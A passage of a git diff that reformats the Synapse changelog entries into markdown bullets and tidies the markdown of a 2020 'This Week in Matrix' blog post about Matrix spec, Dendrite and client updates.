([\#7133](https://github.com/matrix-org/synapse/issues/7133)) -- Ensure `is_verified` is a boolean in responses to `GET /_matrix/client/r0/room_keys/keys`. Also warn the user if they forgot the `version` query param. ([\#7150](https://github.com/matrix-org/synapse/issues/7150)) -- Fix error page being shown when a custom SAML handler attempted to redirect when processing an auth response. ([\#7151](https://github.com/matrix-org/synapse/issues/7151)) -- Avoid importing `sqlite3` when using the postgres backend. Contributed by David Vo. ([\#7155](https://github.com/matrix-org/synapse/issues/7155)) -- Fix excessive CPU usage by `prune_old_outbound_device_pokes` job. ([\#7159](https://github.com/matrix-org/synapse/issues/7159)) -- Fix a bug which could cause outbound federation traffic to stop working if a client uploaded an incorrect e2e device signature. ([\#7177](https://github.com/matrix-org/synapse/issues/7177)) -- Fix a bug which could cause incorrect 'cyclic dependency' error. ([\#7178](https://github.com/matrix-org/synapse/issues/7178)) -- Fix a bug that could cause a user to be invited to a server notices (aka System Alerts) room without any notice being sent. ([\#7199](https://github.com/matrix-org/synapse/issues/7199)) -- Fix some worker-mode replication handling not being correctly recorded in CPU usage stats. ([\#7203](https://github.com/matrix-org/synapse/issues/7203)) -- Do not allow a deactivated user to login via SSO. ([\#7240](https://github.com/matrix-org/synapse/issues/7240), [\#7259](https://github.com/matrix-org/synapse/issues/7259)) -- Fix --help command-line argument. ([\#7249](https://github.com/matrix-org/synapse/issues/7249)) -- Fix room publish permissions not being checked on room creation. ([\#7260](https://github.com/matrix-org/synapse/issues/7260)) -- Reject unknown session IDs during user interactive authentication instead of silently creating a new session. ([\#7268](https://github.com/matrix-org/synapse/issues/7268)) -- Fix a SQL query introduced in Synapse 1.12.0 which could cause large amounts of logging to the postgres slow-query log. ([\#7274](https://github.com/matrix-org/synapse/issues/7274)) -- Persist user interactive authentication sessions across workers and Synapse restarts. ([\#7302](https://github.com/matrix-org/synapse/issues/7302)) -- Fixed backwards compatibility logic of the first value of `trusted_third_party_id_servers` being used for `account_threepid_delegates.email`, which occurs when the former, deprecated option is set and the latter is not. ([\#7316](https://github.com/matrix-org/synapse/issues/7316)) -- Fix a bug where event updates might not be sent over replication to worker processes after the stream falls behind. ([\#7337](https://github.com/matrix-org/synapse/issues/7337), [\#7358](https://github.com/matrix-org/synapse/issues/7358)) -- Fix bad error handling that would cause Synapse to crash if it's provided with a YAML configuration file that's either empty or doesn't parse into a key-value map. ([\#7341](https://github.com/matrix-org/synapse/issues/7341)) -- Fix incorrect metrics reporting for `renew_attestations` background task. ([\#7344](https://github.com/matrix-org/synapse/issues/7344)) -- Prevent non-federating rooms from appearing in responses to federated `POST /publicRoom` requests when a filter was included. ([\#7367](https://github.com/matrix-org/synapse/issues/7367)) -- Fix a bug which would cause the room directory to be incorrectly populated if Synapse was upgraded directly from v1.2.1 or earlier to v1.4.0 or later. Note that this fix does not apply retrospectively; see the [upgrade notes](UPGRADE.rst#upgrading-to-v1130) for more information. ([\#7387](https://github.com/matrix-org/synapse/issues/7387)) -- Fix bug in `EventContext.deserialize`. ([\#7393](https://github.com/matrix-org/synapse/issues/7393)) -- Fix a long-standing bug which could cause messages not to be sent over federation, when state events with state keys matching user IDs (such as custom user statuses) were received. ([\#7376](https://github.com/matrix-org/synapse/issues/7376)) -- Restore compatibility with non-compliant clients during the user interactive authentication process, fixing a problem introduced in v1.13.0rc1. ([\#7483](https://github.com/matrix-org/synapse/issues/7483)) -- Hash passwords as early as possible during registration. ([\#7523](https://github.com/matrix-org/synapse/issues/7523)) - -Improved Documentation ----------------------- - -- Update Debian installation instructions to recommend installing the `virtualenv` package instead of `python3-virtualenv`. ([\#6892](https://github.com/matrix-org/synapse/issues/6892)) -- Improve the documentation for database configuration. ([\#6988](https://github.com/matrix-org/synapse/issues/6988)) -- Improve the documentation of application service configuration files. ([\#7091](https://github.com/matrix-org/synapse/issues/7091)) -- Update pre-built package name for FreeBSD. ([\#7107](https://github.com/matrix-org/synapse/issues/7107)) -- Update postgres docs with login troubleshooting information. ([\#7119](https://github.com/matrix-org/synapse/issues/7119)) -- Clean up INSTALL.md a bit. ([\#7141](https://github.com/matrix-org/synapse/issues/7141)) -- Add documentation for running a local CAS server for testing. ([\#7147](https://github.com/matrix-org/synapse/issues/7147)) -- Improve README.md by being explicit about public IP recommendation for TURN relaying. ([\#7167](https://github.com/matrix-org/synapse/issues/7167)) -- Fix a small typo in the `metrics_flags` config option. ([\#7171](https://github.com/matrix-org/synapse/issues/7171)) -- Update the contributed documentation on managing synapse workers with systemd, and bring it into the core distribution. ([\#7234](https://github.com/matrix-org/synapse/issues/7234)) -- Add documentation to the `password_providers` config option. Add known password provider implementations to docs. ([\#7238](https://github.com/matrix-org/synapse/issues/7238), [\#7248](https://github.com/matrix-org/synapse/issues/7248)) -- Modify suggested nginx reverse proxy configuration to match Synapse's default file upload size. Contributed by @ProCycleDev. ([\#7251](https://github.com/matrix-org/synapse/issues/7251)) -- Documentation of media_storage_providers options updated to avoid misunderstandings. Contributed by Tristan Lins. ([\#7272](https://github.com/matrix-org/synapse/issues/7272)) -- Add documentation on monitoring workers with Prometheus. ([\#7357](https://github.com/matrix-org/synapse/issues/7357)) -- Clarify endpoint usage in the users admin api documentation. ([\#7361](https://github.com/matrix-org/synapse/issues/7361)) - -Deprecations and Removals -------------------------- - -- Remove nonfunctional `captcha_bypass_secret` option from `homeserver.yaml`. ([\#7137](https://github.com/matrix-org/synapse/issues/7137)) - -Internal Changes ----------------- - -- Add benchmarks for LruCache. ([\#6446](https://github.com/matrix-org/synapse/issues/6446)) -- Return total number of users and profile attributes in admin users endpoint. Contributed by Awesome Technologies Innovationslabor GmbH. ([\#6881](https://github.com/matrix-org/synapse/issues/6881)) -- Change device list streams to have one row per ID. ([\#7010](https://github.com/matrix-org/synapse/issues/7010)) -- Remove concept of a non-limited stream. ([\#7011](https://github.com/matrix-org/synapse/issues/7011)) -- Move catchup of replication streams logic to worker. ([\#7024](https://github.com/matrix-org/synapse/issues/7024), [\#7195](https://github.com/matrix-org/synapse/issues/7195), [\#7226](https://github.com/matrix-org/synapse/issues/7226), [\#7239](https://github.com/matrix-org/synapse/issues/7239), [\#7286](https://github.com/matrix-org/synapse/issues/7286), [\#7290](https://github.com/matrix-org/synapse/issues/7290), [\#7318](https://github.com/matrix-org/synapse/issues/7318), [\#7326](https://github.com/matrix-org/synapse/issues/7326), [\#7378](https://github.com/matrix-org/synapse/issues/7378), [\#7421](https://github.com/matrix-org/synapse/issues/7421)) -- Convert some of synapse.rest.media to async/await. ([\#7110](https://github.com/matrix-org/synapse/issues/7110), [\#7184](https://github.com/matrix-org/synapse/issues/7184), [\#7241](https://github.com/matrix-org/synapse/issues/7241)) -- De-duplicate / remove unused REST code for login and auth. ([\#7115](https://github.com/matrix-org/synapse/issues/7115)) -- Convert `*StreamRow` classes to inner classes. ([\#7116](https://github.com/matrix-org/synapse/issues/7116)) -- Clean up some LoggingContext code. ([\#7120](https://github.com/matrix-org/synapse/issues/7120), [\#7181](https://github.com/matrix-org/synapse/issues/7181), [\#7183](https://github.com/matrix-org/synapse/issues/7183), [\#7408](https://github.com/matrix-org/synapse/issues/7408), [\#7426](https://github.com/matrix-org/synapse/issues/7426)) -- Add explicit `instance_id` for USER_SYNC commands and remove implicit `conn_id` usage. ([\#7128](https://github.com/matrix-org/synapse/issues/7128)) -- Refactored the CAS authentication logic to a separate class. ([\#7136](https://github.com/matrix-org/synapse/issues/7136)) -- Run replication streamers on workers. ([\#7146](https://github.com/matrix-org/synapse/issues/7146)) -- Add tests for outbound device pokes. ([\#7157](https://github.com/matrix-org/synapse/issues/7157)) -- Fix device list update stream ids going backward. ([\#7158](https://github.com/matrix-org/synapse/issues/7158)) -- Use `stream.current_token()` and remove `stream_positions()`. ([\#7172](https://github.com/matrix-org/synapse/issues/7172)) -- Move client command handling out of TCP protocol. ([\#7185](https://github.com/matrix-org/synapse/issues/7185)) -- Move server command handling out of TCP protocol. ([\#7187](https://github.com/matrix-org/synapse/issues/7187)) -- Fix consistency of HTTP status codes reported in log lines. ([\#7188](https://github.com/matrix-org/synapse/issues/7188)) -- Only run one background database update at a time. ([\#7190](https://github.com/matrix-org/synapse/issues/7190)) -- Remove sent outbound device list pokes from the database. ([\#7192](https://github.com/matrix-org/synapse/issues/7192)) -- Add a background database update job to clear out duplicate `device_lists_outbound_pokes`. ([\#7193](https://github.com/matrix-org/synapse/issues/7193)) -- Remove some extraneous debugging log lines. ([\#7207](https://github.com/matrix-org/synapse/issues/7207)) -- Add explicit Python build tooling as dependencies for the snapcraft build. ([\#7213](https://github.com/matrix-org/synapse/issues/7213)) -- Add typing information to federation server code. ([\#7219](https://github.com/matrix-org/synapse/issues/7219)) -- Extend room admin api (`GET /_synapse/admin/v1/rooms`) with additional attributes. ([\#7225](https://github.com/matrix-org/synapse/issues/7225)) -- Unblacklist '/upgrade creates a new room' sytest for workers. ([\#7228](https://github.com/matrix-org/synapse/issues/7228)) -- Remove redundant checks on `daemonize` from synctl. ([\#7233](https://github.com/matrix-org/synapse/issues/7233)) -- Upgrade jQuery to v3.4.1 on fallback login/registration pages. ([\#7236](https://github.com/matrix-org/synapse/issues/7236)) -- Change log line that told user to implement onLogin/onRegister fallback js functions to a warning, instead of an info, so it's more visible. ([\#7237](https://github.com/matrix-org/synapse/issues/7237)) -- Correct the parameters of a test fixture. Contributed by Isaiah Singletary. ([\#7243](https://github.com/matrix-org/synapse/issues/7243)) -- Convert auth handler to async/await. ([\#7261](https://github.com/matrix-org/synapse/issues/7261)) -- Add some unit tests for replication. ([\#7278](https://github.com/matrix-org/synapse/issues/7278)) -- Improve typing annotations in `synapse.replication.tcp.streams.Stream`. ([\#7291](https://github.com/matrix-org/synapse/issues/7291)) -- Reduce log verbosity of url cache cleanup tasks. ([\#7295](https://github.com/matrix-org/synapse/issues/7295)) -- Fix sample SAML Service Provider configuration. Contributed by @frcl. ([\#7300](https://github.com/matrix-org/synapse/issues/7300)) -- Fix StreamChangeCache to work with multiple entities changing on the same stream id. ([\#7303](https://github.com/matrix-org/synapse/issues/7303)) -- Fix an incorrect import in IdentityHandler. ([\#7319](https://github.com/matrix-org/synapse/issues/7319)) -- Reduce logging verbosity for successful federation requests. ([\#7321](https://github.com/matrix-org/synapse/issues/7321)) -- Convert some federation handler code to async/await. ([\#7338](https://github.com/matrix-org/synapse/issues/7338)) -- Fix collation for postgres for unit tests. ([\#7359](https://github.com/matrix-org/synapse/issues/7359)) -- Convert RegistrationWorkerStore.is_server_admin and dependent code to async/await. ([\#7363](https://github.com/matrix-org/synapse/issues/7363)) -- Add an `instance_name` to `RDATA` and `POSITION` replication commands. ([\#7364](https://github.com/matrix-org/synapse/issues/7364)) -- Thread through instance name to replication client. ([\#7369](https://github.com/matrix-org/synapse/issues/7369)) -- Convert synapse.server_notices to async/await. ([\#7394](https://github.com/matrix-org/synapse/issues/7394)) -- Convert synapse.notifier to async/await. ([\#7395](https://github.com/matrix-org/synapse/issues/7395)) -- Fix issues with the Python package manifest. ([\#7404](https://github.com/matrix-org/synapse/issues/7404)) -- Prevent methods in `synapse.handlers.auth` from polling the homeserver config every request. ([\#7420](https://github.com/matrix-org/synapse/issues/7420)) -- Speed up fetching device lists changes when handling `/sync` requests. ([\#7423](https://github.com/matrix-org/synapse/issues/7423)) -- Run group attestation renewal in series rather than parallel for performance. ([\#7442](https://github.com/matrix-org/synapse/issues/7442)) -- Fix linting errors in new version of Flake8. ([\#7470](https://github.com/matrix-org/synapse/issues/7470)) -- Update the version of dh-virtualenv we use to build debs, and add focal to the list of target distributions. ([\#7526](https://github.com/matrix-org/synapse/issues/7526)) +### Features + +* Extend the `web_client_location` option to accept an absolute URL to use as a redirect. Adds a warning when running the web client on the same hostname as homeserver. Contributed by Martin Milata. ([\#7006](https://github.com/matrix-org/synapse/issues/7006)) +* Set `Referrer-Policy` header to `no-referrer` on media downloads. ([\#7009](https://github.com/matrix-org/synapse/issues/7009)) +* Add support for running replication over Redis when using workers. ([\#7040](https://github.com/matrix-org/synapse/issues/7040), [\#7325](https://github.com/matrix-org/synapse/issues/7325), [\#7352](https://github.com/matrix-org/synapse/issues/7352), [\#7401](https://github.com/matrix-org/synapse/issues/7401), [\#7427](https://github.com/matrix-org/synapse/issues/7427), [\#7439](https://github.com/matrix-org/synapse/issues/7439), [\#7446](https://github.com/matrix-org/synapse/issues/7446), [\#7450](https://github.com/matrix-org/synapse/issues/7450), [\#7454](https://github.com/matrix-org/synapse/issues/7454)) +* Admin API `POST /_synapse/admin/v1/join/` to join users to a room like `auto_join_rooms` for creation of users. ([\#7051](https://github.com/matrix-org/synapse/issues/7051)) +* Add options to prevent users from changing their profile or associated 3PIDs. ([\#7096](https://github.com/matrix-org/synapse/issues/7096)) +* Support SSO in the user interactive authentication workflow. ([\#7102](https://github.com/matrix-org/synapse/issues/7102), [\#7186](https://github.com/matrix-org/synapse/issues/7186), [\#7279](https://github.com/matrix-org/synapse/issues/7279), [\#7343](https://github.com/matrix-org/synapse/issues/7343)) +* Allow server admins to define and enforce a password policy ([MSC2000](https://github.com/matrix-org/matrix-doc/issues/2000)). ([\#7118](https://github.com/matrix-org/synapse/issues/7118)) +* Improve the support for SSO authentication on the login fallback page. ([\#7152](https://github.com/matrix-org/synapse/issues/7152), [\#7235](https://github.com/matrix-org/synapse/issues/7235)) +* Always whitelist the login fallback in the SSO configuration if `public_baseurl` is set. ([\#7153](https://github.com/matrix-org/synapse/issues/7153)) +* Admin users are no longer required to be in a room to create an alias for it. ([\#7191](https://github.com/matrix-org/synapse/issues/7191)) +* Require admin privileges to enable room encryption by default. This does not affect existing rooms. ([\#7230](https://github.com/matrix-org/synapse/issues/7230)) +* Add a config option for specifying the value of the Accept-Language HTTP header when generating URL previews. ([\#7265](https://github.com/matrix-org/synapse/issues/7265)) +* Allow `/requestToken` endpoints to hide the existence (or lack thereof) of 3PID associations on the homeserver. ([\#7315](https://github.com/matrix-org/synapse/issues/7315)) +* Add a configuration setting to tweak the threshold for dummy events. ([\#7422](https://github.com/matrix-org/synapse/issues/7422)) + +### Bugfixes + +* Don't attempt to use an invalid sqlite config if no database configuration is provided. Contributed by @nekatak. ([\#6573](https://github.com/matrix-org/synapse/issues/6573)) +* Fix single-sign on with CAS systems: pass the same service URL when requesting the CAS ticket and when calling the `proxyValidate` URL. Contributed by @Naugrimm. ([\#6634](https://github.com/matrix-org/synapse/issues/6634)) +* Fix missing field `default` when fetching user-defined push rules. ([\#6639](https://github.com/matrix-org/synapse/issues/6639)) +* Improve error responses when accessing remote public room lists. ([\#6899](https://github.com/matrix-org/synapse/issues/6899), [\#7368](https://github.com/matrix-org/synapse/issues/7368)) +* Transfer alias mappings on room upgrade. ([\#6946](https://github.com/matrix-org/synapse/issues/6946)) +* Ensure that a user interactive authentication session is tied to a single request. ([\#7068](https://github.com/matrix-org/synapse/issues/7068), [\#7455](https://github.com/matrix-org/synapse/issues/7455)) +* Fix a bug in the federation API which could cause occasional "Failed to get PDU" errors. ([\#7089](https://github.com/matrix-org/synapse/issues/7089)) +* Return the proper error (`M_BAD_ALIAS`) when a non-existent canonical alias is provided. ([\#7109](https://github.com/matrix-org/synapse/issues/7109)) +* Fix a bug which meant that groups updates were not correctly replicated between workers. ([\#7117](https://github.com/matrix-org/synapse/issues/7117)) +* Fix starting workers when federation sending not split out. ([\#7133](https://github.com/matrix-org/synapse/issues/7133)) +* Ensure `is_verified` is a boolean in responses to `GET /_matrix/client/r0/room_keys/keys`. Also warn the user if they forgot the `version` query param. ([\#7150](https://github.com/matrix-org/synapse/issues/7150)) +* Fix error page being shown when a custom SAML handler attempted to redirect when processing an auth response. ([\#7151](https://github.com/matrix-org/synapse/issues/7151)) +* Avoid importing `sqlite3` when using the postgres backend. Contributed by David Vo. ([\#7155](https://github.com/matrix-org/synapse/issues/7155)) +* Fix excessive CPU usage by `prune_old_outbound_device_pokes` job. ([\#7159](https://github.com/matrix-org/synapse/issues/7159)) +* Fix a bug which could cause outbound federation traffic to stop working if a client uploaded an incorrect e2e device signature. ([\#7177](https://github.com/matrix-org/synapse/issues/7177)) +* Fix a bug which could cause incorrect 'cyclic dependency' error. ([\#7178](https://github.com/matrix-org/synapse/issues/7178)) +* Fix a bug that could cause a user to be invited to a server notices (aka System Alerts) room without any notice being sent. ([\#7199](https://github.com/matrix-org/synapse/issues/7199)) +* Fix some worker-mode replication handling not being correctly recorded in CPU usage stats. ([\#7203](https://github.com/matrix-org/synapse/issues/7203)) +* Do not allow a deactivated user to login via SSO. ([\#7240](https://github.com/matrix-org/synapse/issues/7240), [\#7259](https://github.com/matrix-org/synapse/issues/7259)) +* Fix --help command-line argument. ([\#7249](https://github.com/matrix-org/synapse/issues/7249)) +* Fix room publish permissions not being checked on room creation. ([\#7260](https://github.com/matrix-org/synapse/issues/7260)) +* Reject unknown session IDs during user interactive authentication instead of silently creating a new session. ([\#7268](https://github.com/matrix-org/synapse/issues/7268)) +* Fix a SQL query introduced in Synapse 1.12.0 which could cause large amounts of logging to the postgres slow-query log. ([\#7274](https://github.com/matrix-org/synapse/issues/7274)) +* Persist user interactive authentication sessions across workers and Synapse restarts. ([\#7302](https://github.com/matrix-org/synapse/issues/7302)) +* Fixed backwards compatibility logic of the first value of `trusted_third_party_id_servers` being used for `account_threepid_delegates.email`, which occurs when the former, deprecated option is set and the latter is not. ([\#7316](https://github.com/matrix-org/synapse/issues/7316)) +* Fix a bug where event updates might not be sent over replication to worker processes after the stream falls behind. ([\#7337](https://github.com/matrix-org/synapse/issues/7337), [\#7358](https://github.com/matrix-org/synapse/issues/7358)) +* Fix bad error handling that would cause Synapse to crash if it's provided with a YAML configuration file that's either empty or doesn't parse into a key-value map. ([\#7341](https://github.com/matrix-org/synapse/issues/7341)) +* Fix incorrect metrics reporting for `renew_attestations` background task. ([\#7344](https://github.com/matrix-org/synapse/issues/7344)) +* Prevent non-federating rooms from appearing in responses to federated `POST /publicRoom` requests when a filter was included. ([\#7367](https://github.com/matrix-org/synapse/issues/7367)) +* Fix a bug which would cause the room directory to be incorrectly populated if Synapse was upgraded directly from v1.2.1 or earlier to v1.4.0 or later. Note that this fix does not apply retrospectively; see the [upgrade notes](UPGRADE.rst#upgrading-to-v1130) for more information. ([\#7387](https://github.com/matrix-org/synapse/issues/7387)) +* Fix bug in `EventContext.deserialize`. ([\#7393](https://github.com/matrix-org/synapse/issues/7393)) +* Fix a long-standing bug which could cause messages not to be sent over federation, when state events with state keys matching user IDs (such as custom user statuses) were received. ([\#7376](https://github.com/matrix-org/synapse/issues/7376)) +* Restore compatibility with non-compliant clients during the user interactive authentication process, fixing a problem introduced in v1.13.0rc1. ([\#7483](https://github.com/matrix-org/synapse/issues/7483)) +* Hash passwords as early as possible during registration. ([\#7523](https://github.com/matrix-org/synapse/issues/7523)) + +### Improved Documentation + +* Update Debian installation instructions to recommend installing the `virtualenv` package instead of `python3-virtualenv`. ([\#6892](https://github.com/matrix-org/synapse/issues/6892)) +* Improve the documentation for database configuration. ([\#6988](https://github.com/matrix-org/synapse/issues/6988)) +* Improve the documentation of application service configuration files. ([\#7091](https://github.com/matrix-org/synapse/issues/7091)) +* Update pre-built package name for FreeBSD. ([\#7107](https://github.com/matrix-org/synapse/issues/7107)) +* Update postgres docs with login troubleshooting information. ([\#7119](https://github.com/matrix-org/synapse/issues/7119)) +* Clean up INSTALL.md a bit. ([\#7141](https://github.com/matrix-org/synapse/issues/7141)) +* Add documentation for running a local CAS server for testing. ([\#7147](https://github.com/matrix-org/synapse/issues/7147)) +* Improve README.md by being explicit about public IP recommendation for TURN relaying. ([\#7167](https://github.com/matrix-org/synapse/issues/7167)) +* Fix a small typo in the `metrics_flags` config option. ([\#7171](https://github.com/matrix-org/synapse/issues/7171)) +* Update the contributed documentation on managing synapse workers with systemd, and bring it into the core distribution. ([\#7234](https://github.com/matrix-org/synapse/issues/7234)) +* Add documentation to the `password_providers` config option. Add known password provider implementations to docs. ([\#7238](https://github.com/matrix-org/synapse/issues/7238), [\#7248](https://github.com/matrix-org/synapse/issues/7248)) +* Modify suggested nginx reverse proxy configuration to match Synapse's default file upload size. Contributed by @ProCycleDev. ([\#7251](https://github.com/matrix-org/synapse/issues/7251)) +* Documentation of media_storage_providers options updated to avoid misunderstandings. Contributed by Tristan Lins. ([\#7272](https://github.com/matrix-org/synapse/issues/7272)) +* Add documentation on monitoring workers with Prometheus. ([\#7357](https://github.com/matrix-org/synapse/issues/7357)) +* Clarify endpoint usage in the users admin api documentation. ([\#7361](https://github.com/matrix-org/synapse/issues/7361)) + +### Deprecations and Removals + +* Remove nonfunctional `captcha_bypass_secret` option from `homeserver.yaml`. ([\#7137](https://github.com/matrix-org/synapse/issues/7137)) + +### Internal Changes + +* Add benchmarks for LruCache. ([\#6446](https://github.com/matrix-org/synapse/issues/6446)) +* Return total number of users and profile attributes in admin users endpoint. Contributed by Awesome Technologies Innovationslabor GmbH. ([\#6881](https://github.com/matrix-org/synapse/issues/6881)) +* Change device list streams to have one row per ID. ([\#7010](https://github.com/matrix-org/synapse/issues/7010)) +* Remove concept of a non-limited stream. ([\#7011](https://github.com/matrix-org/synapse/issues/7011)) +* Move catchup of replication streams logic to worker. ([\#7024](https://github.com/matrix-org/synapse/issues/7024), [\#7195](https://github.com/matrix-org/synapse/issues/7195), [\#7226](https://github.com/matrix-org/synapse/issues/7226), [\#7239](https://github.com/matrix-org/synapse/issues/7239), [\#7286](https://github.com/matrix-org/synapse/issues/7286), [\#7290](https://github.com/matrix-org/synapse/issues/7290), [\#7318](https://github.com/matrix-org/synapse/issues/7318), [\#7326](https://github.com/matrix-org/synapse/issues/7326), [\#7378](https://github.com/matrix-org/synapse/issues/7378), [\#7421](https://github.com/matrix-org/synapse/issues/7421)) +* Convert some of synapse.rest.media to async/await. ([\#7110](https://github.com/matrix-org/synapse/issues/7110), [\#7184](https://github.com/matrix-org/synapse/issues/7184), [\#7241](https://github.com/matrix-org/synapse/issues/7241)) +* De-duplicate / remove unused REST code for login and auth. ([\#7115](https://github.com/matrix-org/synapse/issues/7115)) +* Convert `*StreamRow` classes to inner classes. ([\#7116](https://github.com/matrix-org/synapse/issues/7116)) +* Clean up some LoggingContext code. ([\#7120](https://github.com/matrix-org/synapse/issues/7120), [\#7181](https://github.com/matrix-org/synapse/issues/7181), [\#7183](https://github.com/matrix-org/synapse/issues/7183), [\#7408](https://github.com/matrix-org/synapse/issues/7408), [\#7426](https://github.com/matrix-org/synapse/issues/7426)) +* Add explicit `instance_id` for USER_SYNC commands and remove implicit `conn_id` usage. ([\#7128](https://github.com/matrix-org/synapse/issues/7128)) +* Refactored the CAS authentication logic to a separate class. ([\#7136](https://github.com/matrix-org/synapse/issues/7136)) +* Run replication streamers on workers. ([\#7146](https://github.com/matrix-org/synapse/issues/7146)) +* Add tests for outbound device pokes. ([\#7157](https://github.com/matrix-org/synapse/issues/7157)) +* Fix device list update stream ids going backward. ([\#7158](https://github.com/matrix-org/synapse/issues/7158)) +* Use `stream.current_token()` and remove `stream_positions()`. ([\#7172](https://github.com/matrix-org/synapse/issues/7172)) +* Move client command handling out of TCP protocol. ([\#7185](https://github.com/matrix-org/synapse/issues/7185)) +* Move server command handling out of TCP protocol. ([\#7187](https://github.com/matrix-org/synapse/issues/7187)) +* Fix consistency of HTTP status codes reported in log lines. ([\#7188](https://github.com/matrix-org/synapse/issues/7188)) +* Only run one background database update at a time. ([\#7190](https://github.com/matrix-org/synapse/issues/7190)) +* Remove sent outbound device list pokes from the database. ([\#7192](https://github.com/matrix-org/synapse/issues/7192)) +* Add a background database update job to clear out duplicate `device_lists_outbound_pokes`. ([\#7193](https://github.com/matrix-org/synapse/issues/7193)) +* Remove some extraneous debugging log lines. ([\#7207](https://github.com/matrix-org/synapse/issues/7207)) +* Add explicit Python build tooling as dependencies for the snapcraft build. ([\#7213](https://github.com/matrix-org/synapse/issues/7213)) +* Add typing information to federation server code. ([\#7219](https://github.com/matrix-org/synapse/issues/7219)) +* Extend room admin api (`GET /_synapse/admin/v1/rooms`) with additional attributes. ([\#7225](https://github.com/matrix-org/synapse/issues/7225)) +* Unblacklist '/upgrade creates a new room' sytest for workers. ([\#7228](https://github.com/matrix-org/synapse/issues/7228)) +* Remove redundant checks on `daemonize` from synctl. ([\#7233](https://github.com/matrix-org/synapse/issues/7233)) +* Upgrade jQuery to v3.4.1 on fallback login/registration pages. ([\#7236](https://github.com/matrix-org/synapse/issues/7236)) +* Change log line that told user to implement onLogin/onRegister fallback js functions to a warning, instead of an info, so it's more visible. ([\#7237](https://github.com/matrix-org/synapse/issues/7237)) +* Correct the parameters of a test fixture. Contributed by Isaiah Singletary. ([\#7243](https://github.com/matrix-org/synapse/issues/7243)) +* Convert auth handler to async/await. ([\#7261](https://github.com/matrix-org/synapse/issues/7261)) +* Add some unit tests for replication. ([\#7278](https://github.com/matrix-org/synapse/issues/7278)) +* Improve typing annotations in `synapse.replication.tcp.streams.Stream`. ([\#7291](https://github.com/matrix-org/synapse/issues/7291)) +* Reduce log verbosity of url cache cleanup tasks. ([\#7295](https://github.com/matrix-org/synapse/issues/7295)) +* Fix sample SAML Service Provider configuration. Contributed by @frcl. ([\#7300](https://github.com/matrix-org/synapse/issues/7300)) +* Fix StreamChangeCache to work with multiple entities changing on the same stream id. ([\#7303](https://github.com/matrix-org/synapse/issues/7303)) +* Fix an incorrect import in IdentityHandler. ([\#7319](https://github.com/matrix-org/synapse/issues/7319)) +* Reduce logging verbosity for successful federation requests. ([\#7321](https://github.com/matrix-org/synapse/issues/7321)) +* Convert some federation handler code to async/await. ([\#7338](https://github.com/matrix-org/synapse/issues/7338)) +* Fix collation for postgres for unit tests. ([\#7359](https://github.com/matrix-org/synapse/issues/7359)) +* Convert RegistrationWorkerStore.is_server_admin and dependent code to async/await. ([\#7363](https://github.com/matrix-org/synapse/issues/7363)) +* Add an `instance_name` to `RDATA` and `POSITION` replication commands. ([\#7364](https://github.com/matrix-org/synapse/issues/7364)) +* Thread through instance name to replication client. ([\#7369](https://github.com/matrix-org/synapse/issues/7369)) +* Convert synapse.server_notices to async/await. ([\#7394](https://github.com/matrix-org/synapse/issues/7394)) +* Convert synapse.notifier to async/await. ([\#7395](https://github.com/matrix-org/synapse/issues/7395)) +* Fix issues with the Python package manifest. ([\#7404](https://github.com/matrix-org/synapse/issues/7404)) +* Prevent methods in `synapse.handlers.auth` from polling the homeserver config every request. ([\#7420](https://github.com/matrix-org/synapse/issues/7420)) +* Speed up fetching device lists changes when handling `/sync` requests. ([\#7423](https://github.com/matrix-org/synapse/issues/7423)) +* Run group attestation renewal in series rather than parallel for performance. ([\#7442](https://github.com/matrix-org/synapse/issues/7442)) +* Fix linting errors in new version of Flake8. ([\#7470](https://github.com/matrix-org/synapse/issues/7470)) +* Update the version of dh-virtualenv we use to build debs, and add focal to the list of target distributions. ([\#7526](https://github.com/matrix-org/synapse/issues/7526)) diff --git a/content/blog/2020/05/2020-05-22-this-week-in-matrix-2020-05-22.md b/content/blog/2020/05/2020-05-22-this-week-in-matrix-2020-05-22.md index 41fa5d219..66af75319 100644 --- a/content/blog/2020/05/2020-05-22-this-week-in-matrix-2020-05-22.md +++ b/content/blog/2020/05/2020-05-22-this-week-in-matrix-2020-05-22.md @@ -32,7 +32,7 @@ Do check out the job description - this is a really fascinating role! If only I > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > @@ -49,7 +49,8 @@ Do check out the job description - this is a really fascinating role! If only I > **New MSCs:** > > * [MSC2557: Proposal to clarify spoilers](https://github.com/matrix-org/matrix-doc/pull/2557) -> #### Spec Core Team +> +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, the room v6 MSCs from last week's focus have all reached FCP 🎉 So we're continuing on with the E2E MSCs; [MSC2366](https://github.com/matrix-org/matrix-doc/issues/2366) (verification flows) and [MSC2399](https://github.com/matrix-org/matrix-doc/issues/2399) (UISI messaging). > @@ -100,14 +101,14 @@ Dendrite is a next-generation homeserver written in Go > > This has culminated in the following values for Are We Synapse Yet: > -> ``` +> ```txt > Client-Server APIs: 34% (227/672 tests) - up from 33% > Federation APIs: 34% (35/103 tests) - up from 27% > ``` > > As for P2P.... > -> #### p2p.riot.im v0.1.0 released! +> #### p2p.riot.im v0.1.0 released > > This is a significant milestone because we now persist Dendrite databases to IndexedDB, greatly improving UX and giving users a consistent identity on the P2P network. In addition to this, the following changes have been made: > @@ -205,13 +206,13 @@ Dendrite is a next-generation homeserver written in Go > > * Major performance improvements. Although there is still work to be done, such has persisting client state between restarts to avoid initial syncs everytime, accounts will hundreds of rooms should now be able to finish loading and no longer take your entire RAM and CPU until everything freezes > -> * Rooms with unread messages or mentions for your user (currently only those received while the client is running) will be highlighted and sorted first +> * Rooms with unread messages or mentions for your user (currently only those received while the client is running) will be highlighted and sorted first > -> * New UI component allowing you to quickly jump between accounts in the room list, and always keep an eye how many total unread messages or mentions you have +> * New UI component allowing you to quickly jump between accounts in the room list, and always keep an eye how many total unread messages or mentions you have > > * Messages can now be replied to > -> * Room members can now be kicked and banned +> * Room members can now be kicked and banned > > * New keybinds for jumping between accounts, cycling through unread rooms, replying to messages and opening links in a message > @@ -240,8 +241,8 @@ Dendrite is a next-generation homeserver written in Go > The team is working on getting feature parity with old-riot > -> - Identity server support has been merged to develop -> - Switch language +> * Identity server support has been merged to develop +> * Switch language > > 1:1 Voip calls, Widgets, and room attachment list screen (media, files) are work in progress, and coming next > @@ -249,7 +250,8 @@ Dendrite is a next-generation homeserver written in Go > #### Matrix Android SDK > > v0.9.35 has been released -> - Fixes Favs bug (no more favs after update) +> +> * Fixes Favs bug (no more favs after update) > > => Riot android release coming 